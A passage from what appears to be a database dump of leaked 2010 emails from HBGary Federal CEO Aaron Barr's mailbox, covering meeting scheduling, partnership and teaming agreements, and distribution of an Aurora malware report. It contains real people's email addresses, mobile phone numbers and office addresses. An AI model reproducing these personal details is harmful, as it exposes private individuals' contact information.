time.\r\n>\r\n> For in person, this week we could do:\r\n> ·         Wednesday, 3 PM or later\r\n> ·         Thursday afternoon, 1 PM or later\r\n> ·         Friday:  anytime besides 1-2 PM\r\n>\r\n> Thanks!\r\n> David\r\n>\r\n> From: Penny Leavy-Hoglund [mailto:penny@hbgary.com]\r\n> Sent: Monday, February 08, 2010 10:22 AM\r\n> To: Etue, David\r\n> Subject: RE: Fidelis Security Systems and HB Gary\r\n>\r\n> Hey David,\r\n>\r\n> I think everyone is in your situation.  Greg and I could not get out so we\r\n> are still back in CA.  Do you want to reschedule for later this week?\r\n>\r\n> From: Etue, David [mailto:david.etue@fidelissecurity.com]\r\n> Sent: Monday, February 08, 2010 5:53 AM\r\n> To: Penny Hoglund\r\n> Subject: RE: Fidelis Security Systems and HB Gary\r\n> Importance: High\r\n>\r\n>\r\n> Penny,\r\n>\r\n> Do you know how the weather is treating your local team and the impact on\r\n> today’s meeting?  Most of our team is stuck at home (myself included), but\r\n> might be able to get in this afternoon.\r\n>\r\n> David\r\n>\r\n> -----Original Appointment-----\r\n> From: Etue, David\r\n> Sent: Monday, February 01, 2010 6:23 PM\r\n> To: \' Penny Hoglund\'; Sullivan, Mary; Mancini, Jerry; Belan, Michael;\r\n> Bertone, Kurt; Stein, Tami; Penny Hoglund\r\n> Subject: Fidelis Security Systems and HB Gary\r\n> When: Monday, February 08, 2010 3:00 PM-5:00 PM (GMT-05:00) Eastern Time (US\r\n> & Canada).\r\n> Where: Training Conference Room (4416 East West Hwy, Suite 310, Bethesda, MD\r\n> 20814)\r\n>\r\n> Directions\r\n> - http://www.fidelissecurity.com/data-leakage-protection-contact/directions\r\n>\r\n> -       Each company to provide quick presentation and demo\r\n>\r\n> -       Discuss existing customer use case around fingerprint malware\r\n> loader/packer\r\n>\r\n> -       Indentify other potential joint solution use cases for partnership\r\n> opportunity\r\n>\r\n> Penny – can you forward to the team there?\r\n>\r\n> Thanks!\r\n> David\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',15349,'aaron_hbgary_com/15349.html'),(2306,'2010-02-09','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001042.M491065P3547Q2306.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Security Services','If you want to do commercial that is fine, some people will want the\r\nquote directly from HBGary because they are buying from us and to\r\nresell what you resell seems not to be in the best interest of the\r\nclient.  Some will go directly to you because they don\'t want a\r\nproduct involved.  I\'m just saying we\'ll have our own relationships\r\nwith PwC and Foundstone and you guys.  You can do commercial not a\r\nproblem if people want to sub it to you, we are fine with that, it\'s\r\nmore for those who don\'t\r\n\r\nOn Mon, Feb 8, 2010 at 7:34 PM, Aaron Barr  wrote:\r\n> Hi Penny,\r\n>\r\n> I need a little clarification.  We have discussed at different times Federal doing services work for commercial.  I got out of the discussion today when talking about PwC that HBGary will manage the commercial services.  Is that the case?  If so ok.  I understand we are new at Malware and IR QRC services.  I just want to know what to put energy into.  Government and commercial incident response and malware analysis services need to be approached slightly differently.  First you don\'t have many government organizations that pay for QRC IR Services thats why there is a JTF-GNO, etc.  And malware services are typically a long-term gig rather than QRC, I think.  So I just need to know what to focus on.  For the government its hard to fund short term items, unless its part of a subscription/O&M.\r\n>\r\n> If you tell me we are not going to do commercial, ok.  If you tell me we are then I will focus on developing the partnerships with PwC, Foundstone, and ISec, etc. to get a more immediate full-breadth offering while Federal stands up its own internal offering.  I know it would be easier to answer if i had 3 people, or even 1 person right now that could do the work, I don\'t, I need some work first before I can staff.  Secondly I am not sure what a reasonable QRC offering is until I get a chance to talk with Phil and some of the potential partners.  We can go hourly rate but thats about it right now until I can get some more specifics on what is typically done.  Once we get that it shouldn\'t be too difficult to manage.\r\n>\r\n> We have requisitions going out on Monster tomorrow for IR and Malware Analysis.  Any leads on folks from Martin and or Phil would be great.  We have some TASC folks that want to come work for us in April that currently do Malware analysis at the 92 IOS.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',11081,'aaron_hbgary_com/11081.html'),(2307,'2010-02-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001044.M574841P3547Q2307.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Teaming Agreement for Guardian','Do a quick review and call me.  Bottom line as it currently is\r\nwritten, we are eligible for any surge work on a best athlete basis.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Logel, Moira \r\nDate: Tue, Feb 9, 2010 at 9:40 AM\r\nSubject: Teaming Agreement for Guardian\r\nTo: ted@hbgary.com.\r\nCc: \"Willis, Dan\" \r\n\r\n\r\nHello, Ted.\r\n\r\n\r\n\r\nThe attached TA is forwarded for your review.  Please ensure I have\r\ncorrectly identified your administrative information and POCs.  If\r\ncorrect, and the TA language is acceptable, please return a signed\r\ncopy to my attention.\r\n\r\n\r\n\r\nPlease also feel free to contact me with any questions you may have.\r\n\r\n\r\n\r\nThank you.\r\n\r\n\r\n\r\nMoira Logel\r\n\r\nSr. Contracts Administrator\r\n\r\nMacAulay-Brown, Inc.\r\n\r\nPhone:  (937) 426-3421\r\n\r\nFax:  (937) 426-5364\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11332,'aaron_hbgary_com/11332.html'),(2308,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001044.M828896P3547Q2308.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Security Services','Begin forwarded message:From: Penny Leavy &lt;penny@hbgary.com&gt;Date: February 9, 2010 11:36:14 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Security ServicesIf you want to do commercial that is fine, some people will want thequote directly from HBGary because they are buying from us and toresell what you resell seems not to be in the best interest of theclient. &nbsp;Some will go directly to you because they don\'t want aproduct involved. &nbsp;I\'m just saying we\'ll have our own relationshipswith PwC and Foundstone and you guys. &nbsp;You can do commercial not aproblem if people want to sub it to you, we are fine with that, it\'smore for those who don\'tOn Mon, Feb 8, 2010 at 7:34 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hi Penny,I need a little clarification. &nbsp;We have discussed at different times Federal doing services work for commercial. &nbsp;I got out of the discussion today when talking about PwC that HBGary will manage the commercial services. &nbsp;Is that the case? &nbsp;If so ok. &nbsp;I understand we are new at Malware and IR QRC services. &nbsp;I just want to know what to put energy into. &nbsp;Government and commercial incident response and malware analysis services need to be approached slightly differently. &nbsp;First you don\'t have many government organizations that pay for QRC IR Services thats why there is a JTF-GNO, etc. &nbsp;And malware services are typically a long-term gig rather than QRC, I think. &nbsp;So I just need to know what to focus on. &nbsp;For the government its hard to fund short term items, unless its part of a subscription/O&amp;M.If you tell me we are not going to do commercial, ok. &nbsp;If you tell me we are then I will focus on developing the partnerships with PwC, Foundstone, and ISec, etc. to get a more immediate full-breadth offering while Federal stands up its own internal offering. &nbsp;I know it would be easier to answer if i had 3 people, or even 1 person right now that could do the work, I don\'t, I need some work first before I can staff. &nbsp;Secondly I am not sure what a reasonable QRC offering is until I get a chance to talk with Phil and some of the potential partners. &nbsp;We can go hourly rate but thats about it right now until I can get some more specifics on what is typically done. &nbsp;Once we get that it shouldn\'t be too difficult to manage.We have requisitions going out on Monster tomorrow for IR and Malware Analysis. &nbsp;Any leads on folks from Martin and or Phil would be great. &nbsp;We have some TASC folks that want to come work for us in April that currently do Malware analysis at the 92 IOS.Aaron BarrCEOHBGary Federal Inc.-- Penny C. LeavyHBGary, Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9026,'aaron_hbgary_com/9026.html'),(2309,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001046.M696611P3547Q2309.eml','\"Alex Nieves\" <alexander.nieves@mantech.com>','Feedback','Hi Alex,\r\n\r\nHave you dug out?  I had a large tree limb come down on both our cars, luckily no damage.  More to come.\r\n\r\nDid you get any feedback on our visit last week?  I thought it went pretty well, but hard to tell.  I am not sure how much interest PJ had in the IO items I discussed.  I think Eric was interested in potentially using us as a specialized service on existing and future contracts for advanced malware analysis and threat intelligence.\r\n\r\nAnother concept I discussed was a capability we are putting together for threat intelligence.  I have put together a small consortium of what I think are best of breed technologies for threat intelligence; HBGary, Palantir, Endgames, Netwitness.  Attached is an initial report we are releasing this week for the Aurora Malware, as we integrate the other partners these will take on a larger context focusing on the threats and operations themselves.\r\n\r\nAlso, the AF OSI RFP deadline is fast approaching, are you guys open to bringing on subs or is your team closed at this point.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15606,'aaron_hbgary_com/15606.html'),(2310,'2010-02-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001046.M982155P3547Q2310.eml','\"Barr Aaron\" <aaron@hbgary.com>','new biz opps','https://www.fbo.gov/index?&s=opportunity&mode=form&id=b7fd4e528d8fdee0250995a380013c3b&tab=core&tabmode=list\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=96a861f6cdc0055087def8e19a6fc1df&tab=core&_cview=1\r\n\r\nhttps://www.fbo.gov/index?_atwl=f13066d13e748dbc04b7c14d2878aeb2\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5297,'aaron_hbgary_com/5297.html'),(2311,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001049.M398744P3547Q2311.eml','\"Bob Frizelle\" <rfrizzelle@csc.com>','Shoveled Out?','Hi Bob,\r\n\r\nI hope all is well.  I had a tree limb fall on my cars, but I managed to cut it away and no real damage, having shoveled all that snow my body is a different matter.\r\n\r\nI have been following some of the contract awards and you guys seem to be doing great!  Good capture of Andy Purdy as well for your cyber group.  He is/was on the HBGary Board of Advisors.  I would like to catch up sometime of you are available for lunch.\r\n\r\nAlso I wanted to share with you a pre-release copy of a new report format we are going to start putting out on different malware operations.  I have put together a small consortium of small companies focused around threat intelligence.  I believe this is the key driver to fixing our nations beleaguered cybersecurity capabilities, we don\'t have a good and timely understanding of the threat.  Currently the consortium consists of Palantir, Endgames, HBGary, and Netwitness. The data these organizations provide within a Palantir interface, you can start to mature your understanding of the threats, both current and evolving.  The more pieces you can enumerate the more easily it will be to identify the threats evolution.  Just wanted to share those thoughts.  We don\'t seem to be pushing the needle on improving our cybersecurity capabilities, I think threat intelligence is the answer, if you have the right picture, the security part becomes a lot more manageable.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13292,'aaron_hbgary_com/13292.html'),(2312,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001051.M338581P3547Q2312.eml','\"Kathy Warden\" <kathy.warden@ngc.com>','Missed you last week.','Hi Kathy,\r\n\r\nNot sure what your schedule is like with all the weather throwing things out of whack.\r\n\r\nSome of the things I wanted to talk with you about.  I have been thinking about the cyber problem, and why we just can seem to make any headway, or not much headway.  The answer comes down to threat intelligence, in my opinion.  I have put together a small consortium of small companies focused around threat intelligence.  I believe this is the key driver to fixing our nations beleaguered cybersecurity capabilities, we don\'t have a good and timely understanding of the threat.  Its about integrated the binary interenals, network, external nets, and human interaction within a single interface and making the correlations, maturing the picture.  The more points you can enumerate the more you can track the evolution of the threat.  Just wanted to share those thoughts and some of my activities.  We don\'t seem to be pushing the needle on improving our cybersecurity capabilities, I think threat intelligence is the answer, if you have the right picture, the security part becomes a lot more manageable.  Some might call that a piece of situational awareness, but like APT, it has become and overused term that is too high level to have any actionable meaning.\r\n\r\nAttached is a pre-release copy of a new report format we are going to start putting out on different malware operations.  This is only an HBGary report with some Palantir screenshots, as we integrate more of our partners data feeds this picture will grow rapidly.\r\n\r\nHBGary itself has some significant tools for automated malware analysis and detection of zero day threats.\r\n\r\nIf any of this interests you I would be interested in discussing futher.\r\n\r\nHappy Shoveling,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10518,'aaron_hbgary_com/10518.html'),(2313,'2010-02-09','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297001053.M317553P3547Q2314.eml','\"Aaron Barr\" <aaron@hbgary.com>','availbility the rest of the week?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCassie Robinson&nbsp;|\r\nNorthrop Grumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n&nbsp;tel 703-741-7781 | 1000 Wilson Blvd&nbsp; |\r\nSuite 2300&nbsp; | Arlington, VA 22209\r\n\r\n&nbsp;\r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14852,'aaron_hbgary_com/14852.html'),(2314,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001053.M495062P3547Q2315.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: availbility the rest of the week?','I am pretty open, the weather has messed me all up.AaronOn Feb 9, 2010, at 1:24 PM, Robinson, Cassie wrote:&nbsp;&nbsp;Cassie Robinson&nbsp;| Northrop Grumman CorporationIntelligence Integrated Customer Team&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209&nbsp;A kind word never broke anyone\'s mouth.--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4633,'aaron_hbgary_com/4633.html'),(2315,'2010-02-09','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297001053.M669784P3547Q2316.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: availbility the rest of the week?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe plan is to keep tomorrow&#8217;s date but schedule a back up\r\ndate.&nbsp; I will work with Jim Armitage&#8217;s office to get an alternative\r\ndate. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 09, 2010 1:35 PM\r\nTo: Robinson, Cassie\r\nSubject: Re: availbility the rest of the week?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI am pretty open, the weather has messed me all up.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 9, 2010, at 1:24 PM, Robinson, Cassie wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCassie Robinson&nbsp;| Northrop Grumman Corporation\r\n\r\n\r\n\r\n\r\n\r\nIntelligence Integrated Customer Team\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA\r\nkind word never broke anyone\'s mouth.\r\n--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11988,'aaron_hbgary_com/11988.html'),(2316,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001053.M74783P3547Q2313.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: 624th Ops Center--Next Steps','With the snow throwing things out of whack either is fine, I have some NGES meetings at 3pm.\r\n\r\nAttached is a pre-release copy of a report format we are going to start putting out.  This first one is on Aurora.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Feb 9, 2010, at 10:44 AM, Shows, Bob (IS) wrote:\r\n\r\n> Aaron,\r\n>  \r\n> No word back from Vickie—so I take that as a “no”.   That’s fine since we can get to many consultants on our own.  Gen (Ret) Tom Hobbins is back onboard with NGC—he brings a lot.   I’ll catch-up with you Wed or Thurs to work next steps.   Let me know if one timeframe is better than another to call.  \r\n>  \r\n> Cheers,\r\n>  \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 08, 2010 10:17 PM\r\n> To: Shows, Bob (IS)\r\n> Subject: Re: 624th Ops Center--Next Steps\r\n> Importance: High\r\n>  \r\n> Hi Bob,\r\n>  \r\n> Just checking in to see any status on this effort.\r\n>  \r\n> Aaron\r\n>  \r\n> On Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:\r\n> \r\n> \r\n> Aaron,\r\n>  \r\n> I spoke at length with Vickie Michaels of CyberSpace Operations Consulting, LLC.  Fundamentally her company is interested, but wants NGC to pay her company upfront to consultant in bringing this business case together.  I conveyed that was not going to work, but if she could get her boss to sign the NDA, I would work with her to see how they might fit.\r\n>  \r\n> Of note, she wasn’t interested in investing 2-4 hours of her own time just tighten the shot pattern on this effort.  We left it with her going to see her boss and present the case (for which she did not seem overly enthusiastic)—we’ll see. \r\n>  \r\n> As I mentioned, CSOC would be nice to have on this team, but not essential.  We have Tom Hobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you know to assist with senior customer interface. \r\n>  \r\n> Until we hear from Vickie, not sure we should plan to rendezvous in San Antonio—I’ll stay on top of this and keep you in-the-loop.\r\n>  \r\n> Also, Jim Hale has some things in the work that he believes will be of interest to you.  He’ll be in touch soon.  \r\n>  \r\n> Jim \'Torch\' Hale\r\n> (719) 238-0763 (mobile)\r\n>  \r\n> Aaron Barr\r\n> (719) 510-8478 (mobile)\r\n> (301) 652-8885 x117\r\n>  \r\n>  \r\n> Best regards,\r\n>  \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549\r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12255,'aaron_hbgary_com/12255.html'),(2317,'2010-02-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001053.M861634P3547Q2317.eml','\"Willis, Dan\" <dan.willis@macb.com>,\"Willis, Dan\" <dan.willis@macb.com>','TA','Hi Dan,\r\n\r\nAaron and I would like to discuss the TA, when you have a moment.\r\n\r\nAaron\'s cell is 719-510-8478\r\nTed\'s cell is 719-237-8623\r\n\r\nTed\r\n',4472,'aaron_hbgary_com/4472.html'),(2318,'2010-02-09','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297001054.M238806P3547Q2319.eml','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>','Recall: HBGary/NGES meeting','\r\n\r\n\r\nRecall: HBGary/NGES meeting\r\n\r\n\r\n\r\n\r\nRobinson, Cassie would like to recall the message, &quot;HBGary/NGES meeting&quot;.\r\n\r\n\r\n\r\n',777,'aaron_hbgary_com/777.html'),(2319,'2010-02-09','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297001054.M39448P3547Q2318.eml','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>','HBGary/NGES meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGents,\r\n\r\nA plan has been developed in case weather develops that\r\nprompts the cancellation of the 4:00pm meeting tomorrow, &nbsp;Feb 10.&nbsp; If\r\nthe meeting is cancelled due to weather, the meeting will move to:&nbsp; Friday,\r\nFebruary 12 at 3:00pm at NGES.&nbsp; The Outlook Meeting notification will be\r\nsent to revise the time/date.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAt this time, the meeting is a go for tomorrow.&nbsp; &nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanks all.&nbsp; \r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCassie Robinson&nbsp;|\r\nNorthrop Grumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n&nbsp;tel 703-741-7781 | 1000 Wilson Blvd&nbsp; |\r\nSuite 2300&nbsp; | Arlington, VA 22209\r\n\r\n&nbsp;\r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13319,'aaron_hbgary_com/13319.html'),(2320,'2010-02-09','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297001054.M532463P3547Q2320.eml','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>','HBGary/NGES meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGents,\r\n\r\nA plan has been developed in case weather develops that\r\nprompts the cancellation of the 4:00pm meeting tomorrow, &nbsp;Feb 10.&nbsp; If\r\nthe meeting is cancelled due to weather, the meeting will move to:&nbsp;\r\nFriday, February 12 at 3:00pm at NGES.&nbsp; The Outlook Meeting notification\r\nwill be sent to revise the time/date.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAt this time, the meeting is a go for tomorrow.&nbsp;\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanks all.&nbsp; \r\n\r\n&nbsp;\r\n\r\ncsr\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCassie Robinson&nbsp;|\r\nNorthrop Grumman Corporation\r\n\r\nIntelligence Integrated\r\nCustomer Team\r\n\r\n&nbsp;tel 703-741-7781 | 1000 Wilson Blvd&nbsp; |\r\nSuite 2300&nbsp; | Arlington, VA 22209\r\n\r\n&nbsp;\r\n\r\nA kind word never broke anyone\'s mouth.\r\n-- Irish Proverb&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15662,'aaron_hbgary_com/15662.html'),(2321,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001054.M741646P3547Q2321.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: HBGary/NGES meeting','We are scheduled to have the meeting tomorrow. &nbsp;This is the alternate if we get snowed out. &nbsp;Not sure if all these people are attending or not.Aaronfun funBegin forwarded message:From: \"Robinson, Cassie\" &lt;Cassie.Robinson@ngc.com&gt;Date: February 9, 2010 2:03:40 PM ESTTo: \"Barnett, Jim H.\" &lt;Jim.H.Barnett@ngc.com&gt;, \"Jadik, John\" &lt;john.jadik@ngc.com&gt;, \"Armitage, James L.\" &lt;james.armitage@ngc.com&gt;, \"Barnett, Jim H.\" &lt;Jim.H.Barnett@ngc.com&gt;, \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Pinkney, Carole E.\" &lt;carole.pinkney@ngc.com&gt;, \"Brandenburg, Charlotte A.\" &lt;charlotte.brandenburg@ngc.com&gt;Subject: HBGary/NGES meetingGents,A plan has been developed in case weather develops that prompts the cancellation of the 4:00pm meeting tomorrow, &nbsp;Feb 10.&nbsp;&nbsp;If the meeting is cancelled due&nbsp;to weather, the meeting will move to:&nbsp; Friday, February 12 at 3:00pm at NGES.&nbsp; The Outlook Meeting notification will be sent to revise the time/date.&nbsp;&nbsp;At this time, the meeting is a go for tomorrow.&nbsp; &nbsp;&nbsp;&nbsp;Thanks all.&nbsp;&nbsp;csr&nbsp;&nbsp;Cassie Robinson&nbsp;| Northrop Grumman CorporationIntelligence Integrated Customer Team&nbsp;tel 703-741-7781&nbsp;|&nbsp;1000 Wilson Blvd&nbsp;&nbsp;|&nbsp;Suite 2300&nbsp;&nbsp;|&nbsp;Arlington, VA 22209&nbsp;A kind word never broke anyone\'s mouth.--&nbsp;Irish Proverb&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11538,'aaron_hbgary_com/11538.html'),(2322,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001056.M499447P3547Q2322.eml','\"Jake Olcott\" <Jacob.Olcott@mail.house.gov>','Aurora Report','Jake,\r\n\r\nAttached is a pre-release copy of our report on Aurora.  We are currently working with Palantir and Endgames to put together a more sensitive report that won\'t be for public release and encompass more data.  I think the significance of the report is its enumeration of various factors of the threat, human, communications, malware, intent.  The more of this you can provide in an easily digestible format the easier it will be for the defenders to absorb, defend, and track the evolution of the threat itself.\r\n\r\nWe are weathering the storm pretty well, kids love it of course.  I had a 12 inch tree branch fall on our cars, but thankfully doesn\'t look like any damage.  Fun fun fun.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',7015,'aaron_hbgary_com/7015.html'),(2323,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001058.M719082P3547Q2323.eml','\"Tom Conroy\" <tom.conroy@ngc.com>,\"Jim H. Barnett\" <Jim.H.Barnett@ngc.com>','Aurora Report','Tom/Jim,\r\n\r\nAttached is a pre-release of our Aurora report.  The significance of this report is its enumeration of many of the different factors of the operation.  The more factors you can enumerate the more easily you can track the threats evolution, which means the more easily you can build in automated defenses.  We are currently building out a non-public release version with more sensitive information with some of our consortium members.\r\n\r\n',9486,'aaron_hbgary_com/9486.html'),(2324,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001062.M137845P3547Q2324.eml','\"Erik Mettala\" <Erik.Mettala@cobham.com>','DARPA BAA','Hi Erik,\r\n\r\nChecking in to see if you want to have a conversation this week regarding the BAA?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3028,'aaron_hbgary_com/3028.html'),(2325,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001062.M343934P3547Q2325.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Meetings','Hey Chris,\r\n\r\nWell the weather continues to screw things up a bit.  I imagine this will have to cause a bit of a schedule slip, which is ok.  Based on the information they passed at the first proposers day, the award date is fixed at a no later than July 1st otherwise Mike looses the funds.\r\n\r\nSo how should we proceed today?  I have not heard back from Sparta.  I send Erik and email and in the email I proposed discussing the idea of a GD, Sparta, HBGary partnership.... and I haven\'t heard anything back.  Have you?  I am getting ready to just push forward, wanting to get writing.\r\n\r\nOne other piece I would like to mention.  Are you familiar with NGES Information Geometry capability?  I am not terribly but have received good reviews by people I trust.  It might be something worth thinking about.  I am trying to get more information on the technology.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4619,'aaron_hbgary_com/4619.html'),(2326,'2010-02-09','\"Rich Cummings\" 